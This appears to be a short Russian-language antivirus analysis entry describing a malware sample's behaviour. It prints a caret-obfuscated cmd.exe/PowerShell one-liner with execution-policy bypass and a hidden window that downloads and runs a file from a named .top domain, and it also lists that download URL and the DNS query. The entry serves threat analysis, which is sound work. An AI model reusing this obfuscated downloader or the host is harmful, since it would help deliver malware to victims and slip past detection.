Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://zonexxopera.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pO^W^E^RSHeLl.E^Xe ^-EXeCU^T^iONPOlICY ^bYP^AsS ^-N^O^pRoFiL^e -win^DowSt^Yle hIdd^EN (n^EW-^O^bje^c^T^ sYSte^m.n^e^T.wE^B^Cli^eNt).^DOW^n^L^oA^df^Il^E^('http://zonexxopera...
Сетевая активность
UDP
- DNS ASK zo###xopera.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pO^W^E^RSHeLl.E^Xe ^-EXeCU^T^iONPOlICY ^bYP^AsS ^-N^O^pRoFiL^e -win^DowSt^Yle hIdd^EN (n^EW-^O^bje^c^T^ sYSte^m.n^e^T.wE^B^Cli^eNt).^DOW^n^L^oA^df^Il^E^('http://zonexxopera...' (со скрытым окном)
